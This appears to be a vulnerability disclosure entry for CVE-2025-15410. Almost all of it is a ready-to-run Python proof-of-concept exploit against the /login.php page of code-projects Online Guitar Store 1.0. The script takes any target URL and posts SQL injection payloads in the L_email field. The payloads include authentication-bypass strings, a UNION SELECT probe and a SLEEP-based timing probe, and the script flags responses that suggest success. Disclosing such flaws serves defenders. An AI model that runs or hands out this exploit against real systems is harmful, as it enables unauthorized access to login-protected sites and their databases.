CVE-2025-15410: code-projects Online Guitar Store 1.0 /login.php SQL注入漏洞

import requests import sys # CVE-2025-15410 PoC - SQL Injection in Online Guitar Store 1.0 /login.php # Target: code-projects Online Guitar Store 1.0 # Vulnerability: L_email parameter SQL Injection def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2025-15410 Tests for boolean-based blind SQL injection """ # Normal request (should fail with invalid credentials) normal_data = { 'L_email': '[email protected]', 'L_password': 'wrongpassword' } # SQL Injection payloads to test payloads = [ "admin' OR '1'='1", "admin' OR '1'='1' --", "admin' OR '1'='1' #", "' OR '1'='1' --", "' OR '1'='1' #", "admin' UNION SELECT NULL--", "admin' AND SLEEP(5)--" ] print(f'[*] Target: {target_url}') print(f'[*] Testing SQL Injection vulnerability...') try: # Test normal request first response = requests.post(target_url, data=normal_data, timeout=10) print(f'[+] Normal request status: {response.status_code}') # Test injection payloads for payload in payloads: print(f'\n[*] Testing payload: {payload}') inject_data = { 'L_email': payload, 'L_password': 'anything' } response = requests.post(target_url, data=inject_data, timeout=10) # Check for signs of successful injection if 'login' not in response.text.lower() or response.status_code != 200: print(f'[+] Potential injection detected!') print(f'[+] Response length: {len(response.text)}') else: print(f'[-] No obvious injection response') except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com/login.php') sys.exit(1) target = sys.argv[1] exploit_sqli(target)